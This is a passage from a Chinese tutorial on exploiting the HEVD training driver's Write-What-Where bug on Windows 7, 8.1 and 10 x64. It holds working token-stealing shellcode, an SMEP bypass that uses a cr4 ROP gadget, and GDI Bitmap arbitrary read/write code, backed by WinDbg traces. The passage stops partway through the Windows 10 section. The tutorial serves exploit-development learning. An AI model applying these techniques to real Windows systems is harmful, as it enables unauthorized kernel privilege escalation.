www漏洞从win7-win10

0x00:前言

本篇文章主要分享HEVD这个Windows内核漏洞训练项目中的Write-What-Where漏洞在win7 x64到win10 x64 1605的一个爬坑过程,Windows内核漏洞的原理比较简单,关键点在于exp的编写,这里我从win7 x64开始说起,看此文章之前你需要有以下准备:

  • Windows相应版本的虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

如果你不是很清楚这个漏洞的基本原理的话,你可以从我的另一篇文章了解到这个漏洞的原理以及在win 7 x86下的利用,我这里就不多加赘述了

0x01:Windows 7 x64利用

让我们简单回顾一下在Windows 7 x86下我们利用的利用思路和关键代码,全部的代码参考 => 这里

利用思路

  • 初始化句柄等结构
  • 计算我们需要Hook的地址HalDispatchTable+0x4
  • 调用TriggerArbitraryOverwrite函数将shellcode地址放入Hook地址
  • 调用NtQueryIntervalProfile函数触发漏洞
  • 调用cmd验证提权结果

关键代码

计算Hook地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DWORD32 GetHalOffset_4()
{
// ntkrnlpa.exe in kernel space base address
PVOID pNtkrnlpaBase = NtkrnlpaBase();

printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);

// ntkrnlpa.exe in user space base address
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");

// HalDispatchTable in user space address
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);

return (DWORD32)hal_4;
}

调用问题函数执行shellcode

1
2
3
4
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");

printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
NtQueryIntervalProfile(0x1337, &interVal);

总所周知Windows 7 x64是64位的,所以我们很快的就可以想到和32位的不同,所以我们在32位的基础上只需要改一下长度应该就可以拿到system权限了,实际上还是有很多坑的,这里我分享几个我遇到的坑,第一个就是我们的shellcode需要修改,因为是64位,所以偏移都会有改变,但是原理是不会变的

  • 当前线程中找到_KTHREAD结构体
  • 找到_EPROCESS结构体
  • 找到当前线程的token
  • 循环便利链表找到system系统的token
  • 替换token
1
2
3
4
5
6
7
8
9
10
11
12
13
14
	mov		rax, gs:[188h]
mov rax, [rax+210h]
mov rcx, rax
mov rdx, 4

findSystemPid:
mov rax, [rax+188h]
sub rax, 188h
cmp [rax+180h], rdx
jnz findSystemPid

mov rdx, [rax+0208h]
mov [rcx+0208h], rdx
ret

Shellcode在64位下的编译

首先第一个就是shellcode如何放置在64位的编译环境下,如果是像32位那样直接在代码中嵌入汇编是行不通的,这里我们需要以下几步来嵌入汇编代码(我使用的环境是VS2019,当然以前的版本也可以)

  1. 项目源文件中多创建一个ShellCode.asm文件,放入我们的shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.code
ShellCode proc
mov rax, gs:[188h]
mov rax, [rax+210h]
mov rcx, rax
mov rdx, 4

findSystemPid:
mov rax, [rax+188h]
sub rax, 188h
cmp [rax+180h], rdx
jnz findSystemPid

mov rdx, [rax+0208h]
mov [rcx+0208h], rdx
ret

ShellCode endp
end
  1. 右键ShellCode.asm文件,点击属性,生成中排除选择否,项类型选择自定义生成工具

1564740624883

  1. 在自定义工具里面的命令行和输出填写如下内容
1
2
ml64 /c %(filename).asm
%(filename).obj;%(outputs)

1564743547152

  1. 在ShellCode.h中申明如下内容,然后在主利用函数中引用即可
1
2
3
#pragma once

void ShellCode();

shellcode的放置

第二个坑就是shellcode的放置,在x86中我们是如下方法实现shellcode的放置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
VOID Trigger_shellcode(DWORD32 where, DWORD32 what)
{
WRITE_WHAT_WHERE exploit;
DWORD lpbReturn = 0;
exploit.Where = (PVOID)where;
exploit.What = (PVOID)& what;

printf("[+]Write at 0x%p\n", where);
printf("[+]Write with 0x%p\n", what);
printf("[+]Start to trigger...\n");

DeviceIoControl(hDevice,
0x22200B,
&exploit,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpbReturn,
NULL);

printf("[+]Success to trigger...\n");
}

因为我们现在是qword而不是dword,也就是说我们需要调用两次才能将我们的地址完全写进去,所以构造出如下的片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
VOID Trigger_shellcode(UINT64 where, UINT64 what)
{

WRITE_WHAT_WHERE exploitlow;
WRITE_WHAT_WHERE exploithigh;
DWORD lpbReturn = 0;

UINT32 lowValue = what;
UINT32 highvalue = (what >> 0x20);

exploitlow.What = (PULONG_PTR)& what;
exploitlow.Where = (PULONG_PTR)where;

printf("[+]Start to trigger ");

DeviceIoControl(hDevice,
0x22200B,
&exploitlow,
0x10,
NULL,
0,
&lpbReturn,
NULL);

exploithigh.What = (PULONG_PTR)& highvalue;
exploithigh.Where = (PULONG_PTR)(where + 0x4);

DeviceIoControl(hDevice,
0x22200B,
&exploithigh,
0x10,
NULL,
0,
&lpbReturn,
NULL);

printf("=> done!\n");
}

最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里

0x02:Windows 8.1 x64利用

好了win7我们已经完成了利用,我们开始研究win8下的利用,首先我们需要了解一些win8的安全机制,我们拿在win7 x64下的exp直接拖入win8运行观察会发生什么,果不其然蓝屏了,我们查看一下在windbg中的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*** Fatal System Error: 0x000000fc
(0x00007FF6F3B31400,0x1670000089B30025,0xFFFFD000210577E0,0x0000000080000005)

Break instruction exception - code 80000003 (first chance)
...
0: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc) // 关注点
An attempt was made to execute non-executable memory. The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 00007ff6f3b31400, Virtual address for the attempted execute.
Arg2: 1670000089b30025, PTE contents.
Arg3: ffffd000210577e0, (reserved)
Arg4: 0000000080000005, (reserved)

windbg中提示ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY这个错误,我们解读一下这句话,企图执行不可执行的内存,等等,这不就是我们pwn中的NX保护吗

SMEP

我们详细来了解一下这个保护机制,SMEP保护开启的时候我们用户层的代码不能在内核层中执行,也就是说我们的shellcode不能得到执行

1564814968337

这个时候我们回想一下绕过NX的方法,瞬间就想到了ROP,那么我们现在是要拿ROP帮我们做哪些事情呢?我们看下面这张图,可以看到我们的SMEP标志位在第20位,也就是说我们只需要将cr4寄存器修改为关闭SMEP的状态即可运行我们的shellcode了

1564815377766

ROPgadgets

我们来查看一下我们的cr4寄存器的运行在我的环境下触发漏洞前后的对比

1
2
3
4
.formats 00000000001506f8 // 开启
Binary: 00000000 00000000 00000000 00000000 00000000 0001 0101 00000110 11111000
.formats 0x406f8 // 关闭
Binary: 00000000 00000000 00000000 00000000 00000000 0000 0100 00000110 11111000

也就是说我们只需要将cr4修改为0x406f8即可在内核运行我们的shellcode从而提权,那么如何选择我们的ROP呢,我们来观察以下代码片段,可以看到里可以通过rax来修改cr4,那么问题就简单了,我们只需要把rax设为0x406f8不就行了吗,ROPgadgets的计算我们可以通过偏移来查找,首先我们通过前面的知识计算出内核基地址,然后在windbg中用u命令查看KiConfigureDynamicProcessor+0x40的地址,我们用该地址减去基地址即可得到偏移,有了偏移我们加上基地址就可以得到我们ROPgadgets的位置了

1
2
3
4
5
1: kd> u KiConfigureDynamicProcessor+0x40
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
fffff803`20ffe7cf 4883c428 add rsp,28h
fffff803`20ffe7d3 c3 ret

让我们再次看看我们在win7利用中如何进行Hook的,我们是直接把Hal_hook_address替换为ShellCode的地址

1
2
Trigger_shellcode(Hal_hook_address,(UINT64)&ShellCode);
NtQueryIntervalProfile(0x1234, &interVal);

我们想要做的是把Hal_hook_address先替换为我们的ROP,修改了cr4寄存器之后再执行我们的shellcode,这就需要进行多次读写的操作,显然光靠一个Trigger_shellcode是不够的,这里隆重介绍我们的 BITMAP 对象,这个对象在Windows 8.1中可谓是一个必杀技,用好它可以实现任意读和任意写

BITMAP对象

首先我们需要了解一下这个对象的大致信息,我们直接用CreateBitmap函数创建一个对象然后下断点进行观察,函数原型如下

1
2
3
4
5
6
7
HBITMAP CreateBitmap(
_In_ int nWidth,
_In_ int nHeight,
_In_ UINT cPlanes,
_In_ UINT cBitsPerPel,
_In_ const VOID *lpvBits
);

我们构造如下代码

1
2
3
4
5
6
int main()
{
HBITMAP hBitmap = CreateBitmap(0x10, 2, 1, 8, NULL);
__debugbreak();
return 0;
}

这里我们需要用GdiSharedHadnleTable这个句柄表来泄露我们hBitmap的地址,先不用管原理是什么,总之我们现在先找到我们Bitmap的位置,可以看到我们通过一系列操作居然找到了我们的Bitmap,其分配在会话池,大小是0x370

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1: kd> r
rax=000000007d050040 rbx=00000043e8613860 rcx=00007ffea6a934fa
rdx=0000000000000000 rsi=0000000000000000 rdi=00000043e8617d50
rip=00007ff7468c1033 rsp=00000043e858f8c0 rbp=0000000000000000
r8=00000043e858f8b8 r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
WWW!main+0x23:
0033:00007ff7`468c1033 cc int 3
1: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x00000043`e8920000
1: kd> ? rax&ffff
Evaluate expression: 64 = 00000000`00000040
1: kd> ? 0x00000043`e8920000+40*18
Evaluate expression: 291664692736 = 00000043`e8920600
1: kd> dq 00000043`e8920600
00000043`e8920600 fffff901`43c3dca0 40057d05`000008f4
00000043`e8920610 00000000`00000000 fffff901`400c2ca0
00000043`e8920620 40050405`00000000 00000000`00000000
00000043`e8920630 fffff901`43c5ed60 40080508`00000000
00000043`e8920640 00000000`00000000 fffff901`43d0d000
00000043`e8920650 40050505`00000000 00000000`00000000
00000043`e8920660 fffff901`43d0b000 40050305`00000000
00000043`e8920670 00000000`00000000 fffff901`43cb9d40
1: kd> !pool fffff901`43c3dca0
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page fffff90143c3dca0 region is Paged session pool
fffff90143c3d000 size: 9f0 previous size: 0 (Allocated) Gla1
fffff90143c3d9f0 size: 90 previous size: 9f0 (Allocated) DCba Process: ffffe00002475080
fffff90143c3da80 size: 50 previous size: 90 (Free) Free
fffff90143c3dad0 size: a0 previous size: 50 (Allocated) Usqm
fffff90143c3db70 size: 30 previous size: a0 (Allocated) Uspi Process: ffffe00002b83900
fffff90143c3dba0 size: f0 previous size: 30 (Allocated) Gla8
*fffff90143c3dc90 size: 370 previous size: f0 (Allocated) *Gla5
Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys

让我们理一下这个过程,首先从命令中我们知道GdiSharedHandleTable是在PEB中,而GdiSharedHandleTable本身是一个保存GDI对象的句柄表,其指向的是一个叫GDICELL64的结构,其大小是0x18:

1
2
3
4
5
6
7
8
typedef struct{
PVOID pKernelAddress;
USHORT wProcessID;
USHORT wCount;
USHORT wUpper;
PVOID wType;
PVOID64 pUserAddress;
} GDICELL64;

从上面我们可以看到它可以泄露我们内核中的地址,过程就是先计算出函数返回值(rax)的低4字节作为索引,然后乘上GDICELL64的大小0x18,再加上GdiSharedHandleTable的地址即可得到我们Bitmap的地址,换成代码实现就是

  • 首先找到我们的TEB
  • 通过TEB找到PEB
  • 再通过PEB找到GdiSharedHandleTable句柄表
  • 通过计算获得Bitmap的地址

关键实现代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
DWORD64 getGdiShreadHandleTableAddr()
{
DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 GdiShreadHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
return GdiShreadHandleTableAddr;
}

DWORD64 getBitMapAddr(HBITMAP hBitmap)
{
WORD arrayIndex = LOWORD(hBitmap);
return *(PDWORD64)(getGdiShreadHandleTableAddr() + arrayIndex * 0x18);
}

让我们来查看一下Bitmap的结构,我们只需要关注重点的位置就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedef struct{
BASEOBJECT64 BaseObject; // 0x18bytes
SURFOBJ64 SurfObj;
.......
} SURFACE64

typedef struct {
ULONG64 hHmgr; // 8bytes
ULONG32 ulShareCount; // 4bytes
WORD cExclusiveLock; // 2bytes
WORD BaseFlags; // 2bytes
ULONG64 Tid; // 8bytes
} BASEOBJECT64;

typedef struct{
ULONG64 dhsurf; // 8bytes
ULONG64 hsurf; // 8bytes
ULONG64 dhpdev; // 8bytes
ULONG64 hdev; // 8bytes
SIZEL sizlBitmap; // 8bytes
ULONG64 cjBits; // 8bytes
ULONG64 pvBits; // 8bytes
ULONG64 pvScan0; // 8bytes
ULONG32 lDelta; // 4bytes
ULONG32 iUniq; // 4bytes
ULONG32 iBitmapFormat; // 4bytes
USHORT iType; // 2bytes
USHORT fjBitmap; // 2bytes
} SURFOBJ64

这里我借鉴图片来说明,我们关注的点就只有一个pvScan0结构,它的偏移是 +0x50 处,可以发现它指向我们的Pixel Data,这个结构就是我们CreateBitmap函数传入的第五个参数,也就是说我们传入aaaa,那么pVscan0指向地址的内容就是aaaa

6

任意读写

我们刚才分析了那么多,说到底都是为了一个目的 => 任意读任意写,那么如何才能任意读和写呢?这里我再介绍两个比较重要的函数SetBitmapBitsGetBitmapBits其原型如下

1
2
3
4
5
6
7
8
9
10
11
LONG SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID *pvBits
);

LONG GetBitmapBits(
HBITMAP hbit,
LONG cb,
LPVOID lpvBits
);

这两个函数的作用是向pvScan0指向的地址写(读)cb byte大小的数据,说到这里貌似有一点任意读写的感觉了,光靠一个pvScan0是肯定不能任意读写的,所以这里我们考虑使用两个pvScan0,我们把一个pvScan0指向另外一个pvScan0,我们有TriggerArbitraryOverwrite函数可以实现将一个pvScan0指向另一个pvScan0,然后我们再调用SetBitmapBitsGetBitmapBits函数岂不是就可以进行任意读写了,我们用图片说明:

7

我们任意读写的代码构造如下,read函数实现将whereRead的内容读到whatValue的位置,write函数实现将whatValue的内容写入whereWrite的位置:

1
2
3
4
5
6
7
8
9
10
11
VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len)
{
SetBitmapBits(hManagerBitmap, len, &whereRead);
GetBitmapBits(hWorkerBitmap, len, whatValue); // read
}

VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len)
{
SetBitmapBits(hManagerBitmap, len, &whereWrite);
SetBitmapBits(hWorkerBitmap, len, &whatValue); // write
}

让我们平复一下激动的心情,我们现在有了任意读和写的机会了,我们只需要将我们的ROPgadgets写入我们需要Hook的位置,然后调用问题函数执行shellcode就行了,这里我们需要注意的是,我们还需要调整调整堆栈的一些信息,不然很容易就蓝屏了,这里我们进行三次读写操作

1
2
3
4
readOOB(Hal_hook_address, &lpRealHooAddress, sizeof(LPVOID));  			// 保存Hook地址
writeOOB(Hal_hook_address, (LPVOID)ROPgadgets, sizeof(DWORD64)); // 写入ROPgadgets
//调用问题函数
writeOOB(Hal_hook_address, (LPVOID)lpRealHooAddress, sizeof(DWORD64)); // 还原Hook地址,不然会蓝屏

整合思路

我们最后整合一下思路

  • 初始化句柄等结构
  • 内核中构造放置我们的shellcode
  • 申请两个Bitmap并泄露Bitmap中的pvScan0
  • 调用TriggerArbitraryOverwrite函数将一个pvScan0指向另一个pvScan0
  • 两次读写实现写入ROPgadgets
  • 调用NtQueryIntervalProfile问题函数
  • 一次写入操作实现还原Hook地址的内容

最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里

0x03:Windows 8.1 x64的一个坑

首先我们回顾一下我们在上面的利用中可能存在的一个坑

Shellcode的构造

上篇我只是简单提了一下内核中构造放置我们的shellcode,如果你看了我的源码,里面的构造函数如下所示:

1
2
3
4
5
6
7
8
9
10
11
VOID ConstrutShellcode()
{
printf("[+]Start to construt Shellcode\n");
VOID* shellAddr = (void*)0x100000;
shellAddr = VirtualAlloc(shellAddr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(shellAddr, 0x41, 0x1000);
CopyMemory((VOID*)0x100300, ShellCode, 0x200);
//__debugbreak();
UINT64* recoverAddr = (UINT64*)((PBYTE)(0x100300) + 0x44);
*(recoverAddr) = (DWORD64)ntoskrnlbase() + 0x4c8f75; // nt!KeQueryIntervalProfile+0x25
}

你可能会疑惑recoverAddr这个东西是拿来做什么用的,先不要着急我们在看看我们shellcode的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.code
ShellCode proc
; shellcode编写
mov rax, gs:[188h]
mov rax, [rax+220h]
mov rcx, rax
mov rdx, 4

findSystemPid:
mov rax, [rax+2e8h]
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid

mov rdx, [rax+348h]
mov [rcx+348h], rdx
sub rsp,30h ;堆栈平衡
mov rax, 0aaaaaaaaaaaaaaaah ;这个位置放进入Gadgets返回后的后半部分函数
mov [rsp], rax
ret

ShellCode endp
end

从上面可以看到,我在最后的地方用了几句汇编将堆栈平衡了,这其实是我调试了很久才得到的结果,我简单提一下这个过程,首先我们知道我们把shellcode放置在了0x100300的位置,我们还知道我们需要执行我们的ROP,所以我们需要在windbg中下两个硬件断点观察,注意shellcode中不能用int 3下软件断点,这样会修改堆栈的平衡导致一些问题

1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> u nt!KiConfigureDynamicProcessor+0x40
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
fffff803`20ffe7cf 4883c428 add rsp,28h
fffff803`20ffe7d3 c3 ret
...
1: kd> ba e1 fffff803`20ffe7cc
1: kd> u 100300
00000000`00100300 65488b042588010000 mov rax,qword ptr gs:[188h]
00000000`00100309 488b8020020000 mov rax,qword ptr [rax+220h]
00000000`00100310 488bc8 mov rcx,rax
...
1: kd> ba e1 00000000`00100300

我们g运行到第一个断点,t单步到ret处,查看堆栈结构和我们现在rc4寄存器的值,可以发现我们的寄存器已经被修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1: kd> g
Breakpoint 0 hit
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
1: kd> t
nt!KiConfigureDynamicProcessor+0x43:
fffff803`20ffe7cf 4883c428 add rsp,28h
1: kd> t
nt!KiConfigureDynamicProcessor+0x47:
fffff803`20ffe7d3 c3 ret
1: kd> dqs rsp
ffffd000`27acf9a0 00000000`00100300
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
1: kd> r cr4
cr4=00000000000406f8

我们t单步再次观察堆栈,这里已经开始执行我们的shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1: kd> t
00000000`00100300 65488b042588010000 mov rax,qword ptr gs:[188h]
1: kd> dqs rsp
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
ffffd000`27acfa20 000000bf`00000000

我们继续单步运行到shellcode中sub rsp,30h的位置,查看堆栈之后继续单步,我们可以看到rsp中内容被修改为了0x010033e,而0x010033e中存放的内容正是我们nt!KeQueryIntervalProfile+0x25中的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
1: kd> t
00000000`0010033e 4883ec30 sub rsp,30h
1: kd> dqs rsp
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
ffffd000`27acfa20 000000bf`00000000
1: kd> t
00000000`00100342 48b875ff142103f8ffff mov rax,offset nt!KeQueryIntervalProfile+0x25 (fffff803`2114ff75)
1: kd> dqs rsp
ffffd000`27acf978 00000000`0010033e
ffffd000`27acf980 00000000`00000010
ffffd000`27acf988 00000000`00000344
ffffd000`27acf990 ffffd000`27acf9a8
ffffd000`27acf998 00000000`00000018
ffffd000`27acf9a0 00000000`00100300
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
1: kd> u 00000000`0010033e
00000000`0010033e 4883ec30 sub rsp,30h
00000000`00100342 48b875ff142103f8ffff mov rax,offset nt!KeQueryIntervalProfile+0x25 (fffff803`2114ff75)
00000000`0010034c 48890424 mov qword ptr [rsp],rax
00000000`00100350 c3 ret
00000000`00100351 cc int 3
00000000`00100352 cc int 3
00000000`00100353 cc int 3
00000000`00100354 cc int 3

nt!KeQueryIntervalProfile+0x25是哪里呢,这个值刚好是我们Hook位置的下一句汇编,我们将其放回原位即可做到原封不动的还原内核函数,这样就可以完美的提权而不蓝屏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0: kd> u nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
fffff803`2114ff50 4883ec48 sub rsp,48h
fffff803`2114ff54 83f901 cmp ecx,1
fffff803`2114ff57 7430 je nt!KeQueryIntervalProfile+0x39 (fffff803`2114ff89)
fffff803`2114ff59 ba18000000 mov edx,18h
fffff803`2114ff5e 894c2420 mov dword ptr [rsp+20h],ecx
fffff803`2114ff62 4c8d4c2450 lea r9,[rsp+50h]
fffff803`2114ff67 8d4ae9 lea ecx,[rdx-17h]
fffff803`2114ff6a 4c8d442420 lea r8,[rsp+20h]
0: kd> u
nt!KeQueryIntervalProfile+0x1f:
fffff803`2114ff6f ff15f377ddff call qword ptr [nt!HalDispatchTable+0x8 (fffff803`20f27768)]
fffff803`2114ff75 85c0 test eax,eax // nt!KeQueryIntervalProfile+0x25
fffff803`2114ff77 7818 js nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)
fffff803`2114ff79 807c242400 cmp byte ptr [rsp+24h],0
fffff803`2114ff7e 7411 je nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)
fffff803`2114ff80 8b442428 mov eax,dword ptr [rsp+28h]
fffff803`2114ff84 4883c448 add rsp,48h
fffff803`2114ff88 c3 ret

0x02:Windows 10 1511-1607 x64下的利用

好了我们整理完了win 8.1下的一些坑我们开始我们在win10中的利用,win8.1中最浪费时间的操作便是堆栈的平衡问题,那我们可不可以有更简单的方法提权呢?当然有的,我们都有任意读写的权限了不是吗,既然有任意读写的权限,那么我们完全可以用任意读写的操作实现对token的替换,我们甚至不用我们的shellcode都可以提权,这种做法非常的简便,并不需要考虑shellcode在内核中运行遇到的堆栈平衡问题,我们的关键点始终还是在泄露pvScan0的地方,我们在win 10 1607和win 10 1511中观察一下我们创建的Bitmap结构,和win 8.1进行比较,构造如下代码片段

1
2
3
4
5
6
int main()
{
HBITMAP hBitmap = CreateBitmap(0x10, 2, 1, 8, NULL);
__debugbreak();
return 0;
}

Win 8.1 x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x000000c4`d0540000
0: kd> ? rax&ffff
Evaluate expression: 1984 = 00000000`000007c0
0: kd> dq 0x000000c4`d0540000+0x18*7c0
000000c4`d054ba00 fffff901`40701010 40053105`00000c3c
000000c4`d054ba10 00000000`00000000 fffff901`43c5d010
000000c4`d054ba20 40012201`00000c3c 000000c4`d0170b60
000000c4`d054ba30 fffff901`446c4190 41051405`00000000
000000c4`d054ba40 00000000`00000000 fffff901`400d6ab0
000000c4`d054ba50 40084308`00000000 00000000`00000000
000000c4`d054ba60 00000000`00000776 44003501`00000000
000000c4`d054ba70 00000000`00000000 fffff901`407e6010
0: kd> dq fffff901`40701010
fffff901`40701010 00000000`310507c0 80000000`00000000
fffff901`40701020 00000000`00000000 00000000`00000000
fffff901`40701030 00000000`310507c0 00000000`00000000
fffff901`40701040 00000000`00000000 00000002`00000010
fffff901`40701050 00000000`00000020 fffff901`40701268
fffff901`40701060 fffff901`40701268 00002472`00000010
fffff901`40701070 00010000`00000003 00000000`00000000
fffff901`40701080 00000000`04800200 00000000`00000000

Win 10 1511 x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x00000216`aa740000
0: kd> ? rax&ffff
Evaluate expression: 2711 = 00000000`00000a97
0: kd> dq 0x00000216`aa740000+0x18*a97
00000216`aa74fe28 fffff901`4222aca0 4005e605`00000dec
00000216`aa74fe38 00000000`00000000 00000000`00000936
00000216`aa74fe48 40004205`00000000 00000000`00000000
00000216`aa74fe58 00000000`00000a98 40004105`00000000
00000216`aa74fe68 00000000`00000000 fffff901`441e4380
00000216`aa74fe78 40102310`000006c8 000001fc`d4640fc0
00000216`aa74fe88 00000000`00000abf 40008404`00000000
00000216`aa74fe98 00000000`00000000 fffff901`406d94d0
0: kd> dq fffff901`4222aca0
fffff901`4222aca0 ffffffff`e6050a97 80000000`00000000
fffff901`4222acb0 00000000`00000000 00000000`00000000
fffff901`4222acc0 ffffffff`e6050a97 00000000`00000000
fffff901`4222acd0 00000000`00000000 00000002`00000010
fffff901`4222ace0 00000000`00000020 fffff901`4222aef8
fffff901`4222acf0 fffff901`4222aef8 00008999`00000010
fffff901`4222ad00 00010000`00000003 00000000`00000000
fffff901`4222ad10 00000000`04800200 00000000`00000000

Win 10 1607 x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
3: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x0000023e`1a210000
3: kd> ? rax&ffff
Evaluate expression: 3111 = 00000000`00000c27
3: kd> dq 0x0000023e`1a210000+0x18*c27
0000023e`1a2223a8 ffffffff`ff540c27 00055405`00001a20
0000023e`1a2223b8 00000000`00000000 00000000`00000b3e
0000023e`1a2223c8 0000600a`00000001 00000000`00000000
0000023e`1a2223d8 00000000`00000a90 00004104`00000001
0000023e`1a2223e8 00000000`00000000 00000000`00000aea
0000023e`1a2223f8 00003505`00000001 00000000`00000000
0000023e`1a222408 ffffffff`ff810c2b 00018101`00000918
0000023e`1a222418 0000019d`678a0820 00000000`00000acc
3: kd> dq ffffffff`ff540c27
